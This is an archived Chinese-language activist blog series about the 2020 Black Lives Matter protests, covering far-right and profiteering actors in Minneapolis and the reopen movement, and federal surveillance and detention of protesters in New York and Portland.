HOW NORTHERN CALIFORNIA’S POLICE INTELLIGENCE CENTER TRACKED PROTESTS

原文

把暴力抗议玩成生意的人：通过BLM（2） - iyouport

BLM2020

【2020年11月6日存档】趁火打劫这个词您肯定熟悉。真正的活动家绝不会追求一个混乱的局面，行动只是因为他们想要一个更好的社会；而有些恶意者却在千方百计地利用人们的诉求成全他们自己的利益 ……

People loot then burn an Office Depot Friday in Minneapolis. Protests continued following the killing of George Floyd, who died after being restrained by Minneapolis police officers on Memorial Day. John Minchillo | AP Photo file

如果您错过了前面的内容，可以在这里回顾：

- 《警察情报中心如何跟踪抗议活动：通过BLM（1）》

【前】*9月10日，DemocracyNow* 报道：揭露美国国土安全部的吹哨人指责该机构的领导层指示分析员们 淡化 白人至上主义者的暴力威胁和俄罗斯干预*2020*年美国大选的努力。

这一爆炸性指控来自美国国土安全部情报部门前负责人 *Brian Murphy*。

Murphy 说，国土安全部部长 ***Chad Wolf*** 亲自指示他停止提供有关俄罗斯干涉威胁的情报评估，而将重点放在中国和伊朗的行动上。

Murphy 表示，该指令来自特朗普的国家安全顾问 *Robert O'Brien*。*Murphy* 在*7*月份表示，他持有一份有关俄罗斯的情报报告，国安部认为该报告会 *"*使总统看上去很糟糕*"*。

Murphy 还说，他已被勒令更改评估文本，以使 *"*白人至上主义的威胁看起来不那么严重*"*。

今年早些时候，国土安全部起草了一份文件，指出“到*2021*年，白人至上主义极端分子将继续是本国最持久和致命的威胁。”但是，在该文档的较新版本中，却删除了对白人至上主义者的评论。吹哨人说，国土安全部的领导层向分析师施压，要求他们改变评估结果，以与特朗普总统攻击 ***Antifa*** 组织的言论相符。

寻求公平正义的抗议运动也会被利用吗？是的，一直有人在做这种事；不只有恶意的警察渗透者在煽动暴力，还有一群专业的“玩家”。

欢迎回来！如果您错过了前面的内容，可以在这里回顾：《警察情报中心如何跟踪抗议活动：通过BLM（1）》。

周五晚上，Jonathan Turner Bargen 在明尼阿波利斯参加完一次抗议活动后回家的路上，遇到了一名开着红色皮卡的白人男子。

Turner Bargen 说，这名男子携带着一支突击步枪和一把手枪。然后他注意到那辆车上贴着一个极右翼民兵组织“Three Percenters”的标志。

“我绕回来了，给那辆车拍照。我很担心他们为什么会出现在市中心的抗议活动中，也不知道该通知谁”，Turner Bargen 在给MPR新闻的电子邮件中说。

州政府官员、抗议者和居民都说，他们对极端分子的存在感到震惊，这些人可能会利用双城抗议警察杀害乔治·弗洛伊德的活动作为掩护，烧毁建筑物并与执法部门对峙。当时有数百栋建筑被损坏，许多建筑被完全烧毁。

州长 Tim Walz 说，官方估计，参与暴力和破坏活动的人中有80%来自其他州。

但根据对亨内平县监狱记录的分析，在周五开始的24小时内，因抗议活动而被收监的人中有83%来自明尼苏达州，56%来自明尼阿波利斯或圣保罗。

州长 Walz 说，最初的和平示威是对5月25日警方杀死 George Floyd 的回应。

“明尼阿波利斯现在的局势已经与乔治·弗洛伊德的谋杀案无关了”，Walz 在上午的新闻发布会上说，“它是关于攻击民间社会，灌输恐惧，并扰乱我们伟大的城市。”

圣保罗市长 Melvin Carter 表示，周五晚上在圣保罗被捕的人中没有一个来自明尼苏达州。然而，在MPR新闻要求提供逮捕记录后，警方证实，从周五晚上到周六凌晨因抗议活动被捕的18人中，有7人来自明尼阿波利斯或圣保罗。4人来自威斯康星州、德克萨斯州和北达科他州。

Carter 当天晚些时候纠正了自己，说他得到的信息不正确。

武装人员

「图」

许多人告诉MPR新闻说他们在明尼阿波利斯目睹了武装人员。

Bridget Schumann 周五晚在明尼阿波利斯南部卡尔霍恩广场附近跑步时，看到一辆卡车正气势汹汹地开着，按着喇叭恐吓其他司机。这辆卡车的驾驶室后面贴着一张白色的大贴纸，上面印着与白人至上主义者有关的符号。

她说："驾驶员和乘客座位上有两个男人，他们穿着迷彩和防弹背心，武装。"

Schumann 看着他们从卡车上下来，在一栋公寓楼的停车场里走来走去，像是在寻找什么。她看到他们对着一个离开车库的女人尖叫。他们再次看到 Schumann 后，她害怕了，打电话给她的男朋友来接她。

"他们不是警察，也不是国民警卫队"，Schumann 说，"这一切真的充满敌意。"The still smoking Hexagon Bar in South Minneapolis on Friday, the morning after it burned during protests in response to George Floyd's death.

周五凌晨，KJ Starr 在她位于 Seward 社区的院子里看着附近的建筑物被火球和冒出的浓烟所吞噬，该社区受到纵火事件的影响尤为严重。

在警察和消防员都不见踪影的情况下，Starr 和朋友们一直试图自己救火。当附近的一家披萨店起火时，她和一些朋友走过去想看看他们能做些什么。她被自己看到的东西吓坏了。

"那辆由十几个武装人员组成的皮卡就停在我们旁边"。

在酒类商店纵火

「图」

明尼阿波利斯居民 Rishi Ragoonanan 周五早上起来上班，看到一名白人男子走到一家酒类商店停车场中间的纸箱前。这名男子点燃了箱子，把它们推到商店的墙边，然后走了。

Rishi 和邻居们跑到外面，将燃烧的箱子拖走。第二天晚上，这家酒铺又被人放火烧了。

Ragoonanan 说："在过去的四天里，我们所有人都没有睡觉，试图挽救这家酒类商店。如果这些酒着火了，整个社区都会被烧毁。"

Turner Bargen 看到一辆卡车上印有极右翼民兵组织 Three Percenters 的标志，他说他不敢和那个人对峙，也不敢报警，因为他不希望看到又一个无辜的人被他不再信任的警察部门伤害。

该民兵组织的既定目标含糊不清，但他们将自己定位为宪法的保护者，并与右翼及反政府事业有关联。根据他们的官方网站，他们的目标是"让爱国者在地方一级建立联系，筹备和请愿。"

该组织的名字源于这样的想法，即只有3%的美国殖民者拿起武器来抵制英国人。 2018年，与明尼苏达州一座清真寺爆炸案有关的该民兵组织伊利诺伊州分支机构的三名成员被捕。在弗吉尼亚州夏洛茨维尔的团结右翼集会上，该组织成员被发现全副武装。

其他团体也将他们的注意力转向明尼阿波利斯的局势。Chatter 在社交媒体上暗示，极右翼的激进分子和边缘自由主义者团体正在利用不稳定因素挑起暴力和破坏。

在 Facebook 的 Big Igloo Bois 页面上，管理人员一直在向其成员发布在明尼阿波利斯进行抗议相关的内容，一名管理人员敦促成员"和平相处，为发生暴力做准备。"

该页面与 Boogaloo Bois（极右组织）相关联，该组织主张暴力对抗警察。" boogaloo"一词是指执法人员与美国公民之间的内战。

但是，并非所有破坏都来自外部人。

激进右翼分析中心的博士研究员 Alexander Reid Ross 认为暴力可能来自多方面，但他也不认同特朗普指责 Antifa 是 "煽动者" 的说法。

Antifa 是左翼人士的零散集合，他们积极地与极右翼成员对抗，包括白人至上主义者。在这里看到具体介绍《什么是 antifa，或者说谁是 antifa？》。

“他们正在纵火”

「图」

参加抗议警察暴行的人们也有过磨合。

23岁的 DeVario Bogenholm 在明尼阿波利斯生活了大半辈子，他指责外人（大部分是白人）将周五晚上的和平抗议活动变成了暴力事件。他转而在 Facebook 上发布了一段视频，他和一位朋友与一群正在砸坏店面窗户的年轻白人男子对峙。

“是谁在破坏这些建筑？这些白人，我们要阻止他们。” 他的朋友 Noah Saba 对着镜头说，然后挥动手机，显示出一群白人骑着自行车在一片被破坏和燃烧的建筑物前的画面，“这是他们放的火。”

整个城市有数百栋建筑物遭到破坏。被烧毁的建筑包括当地的青年文化中心，附近的酒吧和充满艺术家工作室的建筑。

关于 **Boogaloo**

「图」

非政府组织 “反极端主义项目” 的 Joshua Fisher-Birch 警告说，困在家里，钱不够用，人们可能会 “更容易接受这些极端主义运动的鼓吹”。

极右翼正在利用 **Facebook**、**Gab** 和 **Telegram** 等网络平台，向这些被俘虏的受众传播其信息。他们使用一连串不断变化的meme，比如将乔治华盛顿打扮成他们的队员之一、或麦当劳叔叔腿上绑着机关枪。他们在在线游戏界也有很大的影响力，这有助于他们吸引年轻新兵。

仔细审视极右翼的信仰，有助于解释为什么极端分子会被美国的新现实所激怒。**3**个相关的思想 —— 白人至上主义、**“boogaloo”**、和加速主义。

其中最耳熟能详的是白人至上主义。它的追随者利用冠状病毒的地理

起源来鼓动对华人的种族反感。自黑死病以来，反犹主义者就一直指责犹太人故意散播瘟疫，covid-19让他们有机会重新使用这个模板。因此，白人至上主义者利用对 “白人种族灭绝” 的恐惧，主张封闭边界，最终建立白人民族国家。一个贴在路标上的抗议贴纸宣称：”开放边界是病毒”。

一些白人至上主义者也是那些自诩为 “BoogalooBoys” 或 “Boojahdeen” 的人。这指的是相信即将发生的 **“boogaloo”**：对抗美国政府的武装起义，种族战争，或者两者兼而有之。

这个词可能来源于1984年拍摄的一部关于霹雳舞的电影 “Breakin’2：Electric Boogaloo”，这部电影几乎是其前身 “Breakin” 的翻版。

这些白人至上主义者是 “meme大战” 的多产实践者，喜欢推销商品，他们的主要目的是招募，特别是在美国武装部队成员中招募。他们的网上论坛充斥着如何3D打印枪支和制造凝固汽油弹的信息。

一些 “boogaloo boys” 一再声称，特定的事件会触发他们的世界末日幻象（例如，1月份的枪支权利集会应该会导致弗吉尼亚州大规模没收枪支，引发内战）。但伴随着 covid-19 导致的社会混乱，给这些幻想披上了一层可信的外衣；一些极端分子预测，“事情将在秋季就开始崩溃”。“Boog 要来了，孩子们”，在一个极右的 telegram 频道中一条消息宣布：“准备好”。

抵制居家防疫命令的抗议活动为传播这两种信念提供了机会。

绝大多数参加的人都是普通的美国人，但谴责国家过度干预的示威也往往会吸引很多激进的自由主义者、民兵和第二修正案偏执狂，他们担心封锁会导致暴政和没收枪支。

新泽西州欧洲遗产协会是一个白人至上主义组织，远在佛罗里达州就有人发现他们在发放宣传品。很多新闻报道将普通抗议者与极右翼暴徒混为一谈，这反而有助于制造一种普遍的不满情绪，极端分子可以趁势发动暴力。

但在大流行期间，最适合传播的是第三种思想，即加速主义。加速主义是马克思主义和新纳粹主义的奇怪结合。这个想法是，经济和政治秩序的内部矛盾将导致它的崩溃。从废墟中，极右翼就可以创造他们的 “建立在血与土壤上的国家”。

他们认为，病毒既是加速主义真理的证据，也是加速令现有制度消亡

的良机。

追随者单独行动或组织成分散的恐怖小组，鼓励任何能 “加速”这种崩溃的行为（这一观点借用自列宁）。

这些行为包括散布虚假信息和阴谋论，攻击基础设施（如纽约的311线路）和独狼式恐怖主义。那个潜在的医院炸弹客就是加速主义信徒。去年袭击新西兰克赖斯特彻奇清真寺和美国犹太教堂的枪手也是信徒。

尽管极端分子的数量仍然很少，但是宣传活动已经起到了作用。监测网上极端主义的组织 Moonshot CVE 报告说，在美国，与白人至上主义有关的日均搜索量（例如，极端主义文献的链接或极右翼的暗语）从2019年6月至2020年2月的1475次上升到3月30日至4月28日的2024次。

极右翼的 Telegram 和 Facebook 群组在封锁期间规模越来越大。研究极端主义的非政府组织 Soufan 中心的 Colin Clarke 说，这场大流行 “是他们的出场派对”，“这将是这些团体在招募方面的一个分水岭”。

但对极右翼来说，目的不是为了招募而招募，而是为了宣传而宣传。“宣传的目的是把人们推向行动”，正如一个新纳粹分子在 **Telegram** 上所说的。

也正如基督城和波威的谋杀袭击以及另一名右翼极端主义分子 Anders Breivik 2011年在奥斯陆的疯狂杀戮所证明的那样，即使是独狼，也能造成可怕的破坏。

请注意，实施暴力破坏的并不只有 Boogaloo。

电子邮件在煽动恐惧。“整个警察部门都被暴徒淹没了，那些一心想从事暴力、抢劫、纵火等活动的暴徒”，这封邮件是在6月发出的，当时反对警察暴行的示威活动震撼了全国。

“明尼苏达人已经看到我们和平的街道一夜之间变成了暴徒的天下”，另一封邮件是在明尼阿波利斯第三分局被烧后不久发出的。

”激进的左翼分子 …… 正在我们的街道上抢劫、点燃建筑物、恐吓市民、谋杀警察”，第三封信是这样宣称的。Antifa 组织正在街上抢夺你的枪支，你知道 Nickelodeon 正在删除热门幼儿节目 “Paw Patrol” 中的警犬角色吗？**(**都是假的**)**

Dorr 兄弟年龄从29岁到40岁，与 Michele Bachmann 和 Ron Paul 等茶党人物有联系，被左右两派的人斥为对利益比对政策更感兴趣的骗子。就连全国步枪协会也谴责他们是骗子。

在他们开始抨击公共卫生措施之前，Dorr 兄弟在多个州成立了枪支权利和反堕胎团体，将它们注册为非营利组织，然后根据非营利组织需要提交的国税局税表，将他们从捐款中筹集的部分资金支付给他们自己控制的营利性直邮广告公司。

Dorr 兄弟管理或附属于**11**个州的大约二十多个非营利组织和**Facebook**团体，包括爱达荷州第二修正案联盟、爱荷华州支持生命行动和俄亥俄州特朗普俱乐部。通常情况下，他们的策略是粗暴的。他们的许多组织都没有办公室。

纽约州枪支协会和宾夕法尼亚州枪支协会在UPS商店注册。爱荷华州支持生命行动组织和爱荷华州拥枪者组织则在邮政信箱中登记。许多团体都有几乎相同的标志和网页设计。

Dorr兄弟为不同的组织拍摄类似的视频，经常穿着同样的衣服。除了要钱，他们的电子邮件通常还链接到表面上的请愿书，收集姓名和实际地址，以便反馈到邮件列表上。

但Dorr的网络不应该被轻视。在共和党正在努力应对特朗普总统的民调数字下降和 **Covid-19** 的无节制传播的时刻，这些人为保守派提供了新的能量，就像茶党支持者曾经做的那样。

“Dorr兄弟真的很重要，因为他们对保守派基层发生的事了如指掌”，追踪右翼极端分子的人权研究和教育机构主席 Devin Burghart 说，“现在保守派的希望是，他们能以某种方式将其塑造为一种动员力量。”

根据该研究所的统计，促进重新开放事业的 Facebook 团体有270万成员。其中至少有32.5万人都属于Dorr 家族的附属团体。

“我的怀疑是，Dorr 家族之所以能蓬勃发展，是因为社交媒体和任何类似的这种让人们既信任又怀疑的东西”，南达科他州的博客作者 Sally Jo Sorensen 说，他追踪Dorr家族几十年了，“这些人之所以能蓬勃发展，是因为人们愿意相信有人想要伤害他们。”

围绕反封锁抗议活动的偏执气氛，在某些情况下，导致了暴力企图。5月，科罗拉多州一名支持重新开放的抗议者被逮捕，因为调查人员

在他的家中发现了四枚管状炸弹。

6月，联邦检察官指控3名内华达州男子在拉斯维加斯的BLM抗议活动中趁势密谋炸毁或放火烧毁美国政府大楼。他们的阴谋在4月已经成形，其实与内华达州的反封锁示威有关。

虽然 Dorr 兄弟并没有被直接与特定的暴力事件联系在一起，但是，他们善于用轻蔑的侮辱、种族主义的狂哮和愚蠢的特技来煽动愤怒和收集捐款。简而言之，他们是在特朗普任期内全球病毒大流行期间煽动仇恨的完美人选。而在真正的特朗普主义的风格中，通过宣传自己和促进仇恨，他们可能最终会催生一场运动。

Dorr 兄弟是在爱荷华州西北部小镇奥彻耶丹的一个有11个孩子的家庭中长大的。该镇属于选举出臭名昭著的种族主义议员 Steve King 的地区，**Dorr** 兄弟从小就沉浸在保守派政治中。

上世纪90年代，他们的父亲 Paul 经营着一个反堕胎组织，组织抵制中西部医生进行堕胎的城镇。仅仅纠察一个诊所还不够，他主张惩罚整个商业区。

Paul Dorr 在一封电子邮件中告诉 The Intercept，他的两个儿子 Aaron 和 Chris 在12岁和14岁的时候就被送进了青少年拘留所，“因为他们帮助拯救被屠宰的婴儿”。(兄弟俩没有回应对这一说法发表评论的请求，少年法庭的记录通常无法获得)。

Paul Dorr 的行动与时俱进。随着2000年的临近，他成为了一名千年虫危机预备者，在一家名为 “Back Dorr Friends Pantry” 的奥彻耶丹商店里囤积货物。而最近，在2018年，他从爱荷华州奥兰治市的公共图书馆借出了关于LGBTQ问题的书籍，然后在 Facebook 直播上焚烧这些书。

Dorr兄弟从他们的父亲那里了解到暴行的政治。2005年，当乔治·W·布什任命Dorr兄弟的叔叔 Thomas Dorr 为农业副部长时，他们也尝到了国家政治的味道，尽管他被指控不当获得农业补贴并发表种族主义言论。

2007年，Paul Dorr 成为前众议院议员 Ron Paul 竞选活动的爱荷华州现场主管，该活动与保守派直邮运动关系密切。那场运动是在20世纪60年代引发的，当时保守派活动家 Richard Viguerie 从众议院的记录中手抄了1.25万名 Barry Goldwater 总统竞选活动的早期捐赠者的姓名和地址。Viguerie 意识到，这些名字代表着特别有激情的选民，

通过直接接触，他既可以动员这些人，又可以令他们为自己所用。

正如他在2004年出版的《美国的右转：保守派如何利用新媒体和另类媒体接管美国》一书中写道的，“该名单是我的宝库， 就像诺克斯堡的金砖。” 到1980年，Viguerie 据说积累了2500万个名字。

据历史学家 Rick Perlstein 说，Viguerie 从他的邮件列表中收集到的钱只有10%到15%给了所谓的受益人。他还贩卖恐惧 —— 比如对共产主义者、无政府主义者、综合学校的恐惧。**Dorr**兄弟后来也会效仿这个例子。“除非你能做到政治上被恐惧，否则你不会得到尊重”，**Aaron Dorr** 在**2017**年举办的政治领导力研讨会的描述中写道。

一段时间以来，兄弟俩都深深地参与了茶党候选人活动。Chris Dorr 参与了 Michele Bachmann 2012年的总统竞选，而他的兄弟 Aaron与 Ron Paul 的阵营保持着联系。

2020年初，Dorr 兄弟加大了反堕胎工作的力度 —— 效果值得怀疑。今年2月，明尼苏达生命权组织向全州的保守派发出了一封煽动性的信件。这一举动激怒了明尼苏达公民关注生命组织的组织者，这是一个长期反堕胎的组织，该组织发布了一个页面，警告捐赠者远离 Dorr 兄弟，称他们是 “知名的骗子”。

“令人担忧的是，这不是一个合法的团体”，明尼苏达公民关注生命组织的通讯主任 Paul Stark 说，“他们在误导人们，他们拿着钱却什么都不做。”

“有一些团体只是为了自己的利益，他们只是想筹集资金，他们欺骗人们，“州参议院多数党领袖 Paul Gazelka 在Facebook上发布的视频中说，“而我们最终也受够了。”

随着揭露 Dorr 兄弟的人越来越多，这俩兄弟需要开启一些新的 “事业” 了。然后就赶上了冠状病毒大流行。Trump supporters and a man with an assault rifle join demonstrators outside the Pennsylvania Capitol Building to protest the continued closure of businesses due to the coronavirus pandemic on May 15, 2020 in Harrisburg, Pa. Photo: Mark Makela/Getty Images

从4月8日开始，当美国大部分地区的人们都缩在家中躲避病毒时，Dorr 兄弟在Facebook上建立了一个小组，并在多个州注册了域名，包括reopenmn.com、reopentexasnow.com 和 reopenwi.com。“是时候开放宾夕法尼亚州，停止 Wolf 州长的过度检疫了！” 这个名为 “宾

夕法尼亚人反对过度检疫” 的 Facebook 群组宣布。

这种努力似乎主要是为了扩大他们的邮寄列表。例如，Reopeniowa.com 重定向到一个收集爱荷华州枪支所有者地址的页面。Facebook群组禁止成员发布其他请愿书。但许多加入这些群组的人对与Covid-19有关的封锁真正感到愤怒 —— 并认为美国需要从公共卫生措施中解放出来。

在整个4月和5月期间，这个新的小组封锁了道路，并在州议会大楼外抗议。抗议者绝大部分是白人，他们打着美国国旗和标语，上面写着“SACRIFICE THE WEAK “和 “WAKE UP SHEEP”。一些人带着孩子。其他人则携带着攻击性武器。

疫情带来的混乱给 **Dorr** 家族带来了新的动力。据报道，他们与关系良好的其他反封锁抗议活动的组织者进行了沟通。在他的个人Facebook页面上，Ben Dorr 发布了越来越激烈的抨击，甚至一度抨击免疫力低下的人。

同时，Aaron Dorr 还暗示了一个更大的目的：“刚刚又买了2个网络域名，我正迫不及待地想在大选中使用！”他写道。Dorr 兄弟经营的亲特朗普团体似乎与竞选活动无关。

4月下旬，在 Redditors 注意到大量域名追踪到一个单一来源后，Dorr 兄弟再次被推到了全国的聚光灯下，左翼的评论员们指责他们是在搞垃圾传播。 Glenn Beck 邀请 Ben Dorr 做客他的播客节目，问他：“你是乔治-索罗斯吗？”

“这就是我们在过去48小时里从坦率的左翼媒体那里得到的问题，谁在资助这个大阴谋？背后的人是谁？特朗普总统付钱给你，让你举办这些抗议活动吗？谁在做这件事？” Dorr 回答说。

2009年，当茶党支持者戴着山姆大叔的帽子，挥舞着加兹登旗突然出现在现场时，左翼的评论家们很快就把抗议活动斥为灾难片。

【注：加兹登旗是一面黄底的旗帜，上面有一个卷曲的美国西部响尾蛇和一行字 “别踩我”。该旗帜曾经作为美国海军陆战队的前身 “大陆海军陆战队” 的格言旗帜。该旗帜的象征意义在于，美国西部响尾蛇的攻击性并不强，但要小心它的反击力量。】

这种解释是有道理的。当地活动人士从科赫兄弟资助的倡导团体 “Americans for Prosperity” 那里获得了资金和其他重要支持。但茶党

也建立在真正的愤怒之上 —— 经济民粹主义，以及反移民情绪和对奥巴马政府的种族主义式反击 —— 并对政治进程产生了真正的影响。

“他们能够建立起一支庞大的草根军队，不仅影响了联邦政治，还影响了全国各地的州议会”，研究过茶党的 Burghart 说。在某些情况下，茶党活动家借鉴了进步组织 “MoveOn” 所开创的策略。

【科赫兄弟的政治活动包括 **Charles G.Koch** 对美国政治经济和政治影响力。这种影响是通过这是由科赫兄弟支持的各种政治和公共政策组织所带来的。其父亲曾在纳粹德国建立大型炼油厂，该项目更得到阿道夫·希特勒本人的批准。在这本书中看到详细内容 “Dark Money: The Hidden History of the Billionaires Behind the Rise of the Radical Right”】

反封锁抗议活动与之前的那场运动有明显的相似之处。茶党资助者 FreedomWorks 已经支持了示威活动，在5月份投放了5万美元的数字广告。但与茶党一样，反封锁的努力来自一个具有真正能量的群体，无论是由失业还是公然的本土主义所驱动。

重复过去的错误并解雇像 Dorr 家族这样的活动家的风险是 “巨大的”，Burghart 说，“对于进步人士来说，这种持续的误判导致茶党在我们的政治语话和政治轨迹中占据了十年的主导地位。”

而 Dorr 家族更有 Facebook 的支持。Chris Dorr 曾经声称，兄弟俩依靠直邮来绕过社交网站的限制。他在关于中西部自由企业的视频中说，直邮的好处是，“Facebook不能审查它。Twitter不能审查它。我们不会被禁止。我们不会因为我们在谈论美国的自由而把我们的帖子隐藏起来。”

但 **Facebook** 与强硬右翼媒体人士交好，几乎没有采取任何措施阻止右翼团体的虚假信息，事实上只是扩大了 **Dorr** 家族的影响力。

【注：Facebook 反而封锁了非暴力的 Antifa 运动和左翼无政府主义运动的页面】

到7月，Dorr 家族的重新开放运动又有了新的生命力。Covid-19 相关的限制只是暂时的焦点，随着 **BLM** 的示威活动席卷全国，使重新开放的抗议活动相形见绌，许多先前反封锁的活动家已经转向了公开的种族主义。

在 Dorr 家族的 Facebook 群组里，成员们呼吁执法部门对抗议者使用致命武力和水炮。他们将 **Black Lives Matter** 抹黑成恐怖组织，颂扬南方邦联将军雕像的重要性，并对NFL球员 Colin Kaepernick 进行嘲讽。

在一个名为 “重新开放明尼苏达州” 的团体中，一名成员甚至声称乔治·弗洛伊德实际上并没有死。“He was at his own funeral” 这个人写道。

他们的群组现在每天都能看到数十个帖子，推送恶作剧、堵截政治集会、组织不带口罩的集会。更广泛地说，这些人为极右翼行为者提供了一个组织反示威的场所，包括一些暴力示威。该运动唯一没有做到的事就是消失 ……

最后

「图」

本文是希望说明，当您看到 “激进的行动者” 时，不要盲目支持，请先使用自己的判断力来分析一下，这些人究竟是否能够带来他们声称想要带来的改变。这也许很微妙，尤其是对那些行动力罕见和运动经验缺乏的社会来说。

另一方面，当您看到一场行动中出现了极为恶劣的伪 “激进” 现象时，先不要忙于埋冤运动本身，试着通过一些技巧（更可能是开源情报技术）进行调查，这些人究竟是谁？这点对于大门敞开的去中心化运动来说尤其重要。

不要错过 “如何识别政府线人的渗透” 系列：

- 《过去和现在的线人：政治渗透是如何操作的？（1）》
- 《针对反抗运动的政治渗透：政府线人如何操作（2）》
- 《渗透破坏、分裂和误导在抗议活动中广泛存在：政治渗透如何操作（3）》

Outsiders, extremists are among those fomenting violence in Twin Cities

America’s far right is energised by covid-19 lockdowns

MASKS OFF: HOW THE BROTHERS WHO FUELED THE REOPEN

PROTESTS BUILT A VOLATILE FAR-RIGHT NETWORK

原文

监视器“眼中”的抗议运动：通过BLM（3） - iyouport

BLM2020

【2020年11月11日存档】这一集将介绍准军事化维稳的一个侧面。本案例是相对幸运的，调查人员获得了监视录像，可以帮助您更清晰地看到维稳部署；而在绝大多数情况下无法获得，反抗者应该有所准备，并尽可能以其他方式及时地跟踪和揭露

如果您错过了前面的内容，可以在这里回顾：

- 《警察情报中心如何跟踪抗议活动：通过BLM（1）》
- 《把暴力抗议玩成生意的人：通过BLM（2）》

6月初，数百名 BLM 抗议者在纽约市狭窄的牢房中煎熬。他们不得不挤在一起却没有口罩，暴露在冠状病毒大流行的肮脏环境中，无法联系亲人或律师。这些抗议者实际上已经消失在纽约市的拘留系统中。

法律援助协会的律师到法院要求立即释放抗议者。在对纽约警察局提起的诉讼中，公共辩护组织全美法律援助协会的律师指出，400多人在市拘留所被关押了24小时以上而没有见到法官，违反了州法律和被拘留者的宪法权利。

辩护人指责警察部门故意缓慢推行标准程序，将抗议者关在监狱里，作为对抗议警察暴行的报复。

州最高法院的 James M. Burke 法官在简短的判决中直接站到了警方一边。“所有令状都被驳回”，他裁定。在这样做的时候，Burke 接受了纽约警察局的理由，即 当前条件应该推翻先前存在的国家法律。1991年 Roundtree 诉 Brown 案的判决确立了从逮捕到提审的24小时标准。

这一判决直接点燃了人们的愤怒。抗议者涌向联邦地区法院附近的弗

利广场，要求释放示威者。

提起诉讼的法律援助律师之一 Russell Novack 说，“这是对抗议活动的蓄意、故意的惩罚。”

在州府奥尔巴尼，一位来自皇后区的进步民主党人说，他的新法案将确保纽约人永远不会再被失踪被拘留。州参议员 Michael Gianaris 提出了一项法案，以编纂 Roundtree 判决，使其能更好地跟踪拘留情况。

该法案将迫使纽约州所有警察部门在24小时内将被捕人员带到法官面前，否则就必须立即释放他们。

它还将在纽约的人身保护令法律中增加了新的一条，阐明除非警方“有确凿证据表明这种拖延是必要的”，否则在提审前被关押超过24小时的任何人都有权被释放 ……

这场维稳中违法违宪的现象还不止这些。我们将更多关注这些抗议者是如何被抓到的。

正如 Bulwark 所说，法治在危机时期最为重要。

在抗议活动期间，联邦执法人员在该国首都和其他地方进行了有力的部署。据报道，5月有超过15个不同的联邦政府机构或部门，包括司法部和国土安全部，都参加了维稳响应。

7月，国土安全部调动了包括海关和边境巡逻队（CBP）在内的人马以在波特兰针对国内维稳。

但是，理论上针对抗议活动的维稳特别需要对宪法权利具有敏感性和保护措施。而波特兰以外的报道表明，国土安全部已经提供了不受控制的军事化回应。

Bulwark 说，这些联邦官员压制国内抗议的任务可能是更广泛的联邦国内维稳扩张的一部分，这种扩张既没有宣布，也没有经过公民、国会或法院的审查。

特别是在波特兰，由于国土安全部内部控制的固有不足和不适当的政治压力，这种状况已经酝酿一段时间了。

根据 BuzzFeed 新闻获得的两页备忘录，缉毒局已经获得了新的权限，以进行“秘密监视”，收集有关抗议者的情报。司法部一名高级官

员签署了该备忘录。

司法部长 William Barr在完全没有提供证据的情况下指责这场抗议是“无政府主义者和极左翼极端分子使用类似 Aantifa 的战术”。他说，联邦调查局、DEA、美国法警和美国烟酒枪炮及爆裂物管理局将 “被部署为支持当地”维稳。

理论上，**DEA** 受法规限制，只能执行与毒品有关的犯罪。但是，巴尔的密友、前首席检察官 **Timothy Shea** 上个月被任命为**DEA**的代理行政长官，他获得了副部长 **Bradley Weinsheimer** 的批准，超越该局的职责 “履行其他执法职责”，巴尔可能 “认为适当”。

DEA纽约分部特工 Keith Kruskall 向华盛顿国会大厦发送了一封紧急电子邮件，寻求25名志愿者协助维稳。

两名了解部署情况的消息人士告诉 BuzzFeed，来自**DEA**的精英特别响应小组的**15**人负责监视抗议者，包括对抗议活动的监视，还选了**10**个特工。

ACLU的高级律师 Hugh Handeyside 说：“缉毒警官不应该对抗议活动和受第一修正案保护的言论进行秘密监视。这种监视和情报共享很可能构成对行使宪法权利寻求正义的人们的无理调查。行政部门继续朝错误的方向前进。”

三个DEA消息人士告诉 BuzzFeed，他们对这份备忘录感到困惑，并将其视为司法部滥用职权以抹黑抗议并打击受第一修正案保护的活动的一个例子。

除了 *秘密监视* 之外，该备忘录还指出，**DEA**特工将被授权与地方和州警察部门共享情报，对抗议活动进行 *干预* 、以及进行问讯和搜查 ，并逮捕被认为涉嫌违反联邦法律的抗议者。

Shea 的备忘录获得批准的第二天，特朗普就表示，他 “正在动员所有可用的联邦资产，包括文职人员和军事力量，以镇压骚乱 ……”

美国有一部反叛乱法，其中规定总统有权将美国军队用于国内镇压。自从1992年洛杉矶动乱期间被用来派遣部队以来，该法一直没有被用过。

联邦机构对抗议团体进行渗透和监视的历史由来已久。在2015年巴尔的摩为被警察羁押期间死亡的 Freddie Gray 而举行的抗议活动中，国土安全部就监控了推特和其他社交媒体平台，以获取抗议者的 “情

报”。

在2014年密苏里州弗格森市因 Michael Brown 被白人警察杀害而举行的抗议活动中，国土安全部计划将联邦官员渗透到抗议活动中，进行监控和收集情报。而联邦调查局对2011年开始的“占领华尔街”抗议运动也进行了广泛的监控。具体见下面。

- 《过去和现在的线人：政治渗透是如何操作的？（1）》
- 《针对反抗运动的政治渗透：政府线人如何操作（2）》
- 《渗透破坏、分裂和误导在抗议活动中广泛存在：政治渗透如何操作（3）》
- 《警察渗透抗议运动简史》
- 《警察用哪些监视方式瞄准抗议者？》
- 《需要警惕不只有警察，可能还有你的邻居：警方如何构建私人监视网络》
- 《泄漏文件揭露TikTok如何与美国警察合作维稳镇压》
- 《警察如何利用抗议者的手机追踪每个人》

波特兰等美国城市街头出现的准军事化维稳部队的惨烈场面，震惊了主流社会；但是，获奖的独立记者、对边境安全和移民问题进行了十多年报道的 Todd Miller 说，“这恰恰反映了美国在世界各地的运作方式”。

DemocracyNow 的主持人说：“联邦边境特工的暴力存在对于许多少数族裔社区、尤其是沿边境生活的美国人来说并不陌生。现在在美国街头看到的残暴行为对于全球社区来说也已经再熟悉不过了，从伊拉克到肯尼亚再到危地马拉，他们都曾面对过训练有素的军队、有时是敢死队的恐怖。波特兰市发生的一幕，也让人将其与美国支持的敢死队相提并论，他们已经在拉丁美洲恐吓了几十年”……

在这里看到他们的访谈。

而五角大楼的一份报告认为，今年早些时候在美国四个城市使用国民警卫队的侦察机大范围监视抗议活动的做法，“并没有违反禁止军队收集美国人情报的规定”。

调查称，“这些飞机被用来收集有关人群规模、人群流动的信息，还有针对个人的监控”。请注意，这项调查是国防部长 Mark Esper 下令进行的，是为了回应国防部和国会内部关于军方是否可以在抗议活动期间非法监视美国公民的质疑。

这些监视飞机是在特朗普总统呼吁采取更强硬的措施以“平暴”时采用的。在全国多个城市，国民警卫队被用来协助当地警察维稳。

